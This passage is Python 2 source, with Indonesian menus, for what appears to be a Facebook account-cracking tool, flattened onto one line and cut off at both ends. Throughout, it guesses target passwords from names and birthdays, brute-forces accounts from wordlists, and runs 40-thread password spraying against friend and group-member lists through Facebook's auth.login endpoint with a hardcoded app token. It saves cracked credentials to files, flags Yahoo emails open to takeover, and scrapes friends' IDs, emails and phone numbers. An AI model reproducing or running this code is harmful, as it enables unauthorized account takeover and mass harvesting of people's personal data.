ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m2. Multi Bruteforce Facebook' print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' print '\x1b[1;37;40m5. Yahoo Checker' print '\x1b[1;37;40m6. Ambil id/email/hp' print '\x1b[1;31;40m0. Kembali' print hack_pilih() def hack_pilih(): hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if hack == '': print '\x1b[1;91m[!] Jangan kosong' hack_pilih() else: if hack == '1': mini() else: if hack == '2': crack() hasil() else: if hack == '3': super() else: if hack == '4': brute() else: if hack == '5': menu_yahoo() else: if hack == '6': grab() else: if hack == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' hack_pilih() def mini(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' try: id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) a = json.loads(r.text) print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') time.sleep(2) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' pz1 = a['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') y = json.load(data) if 'access_token' in y: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() 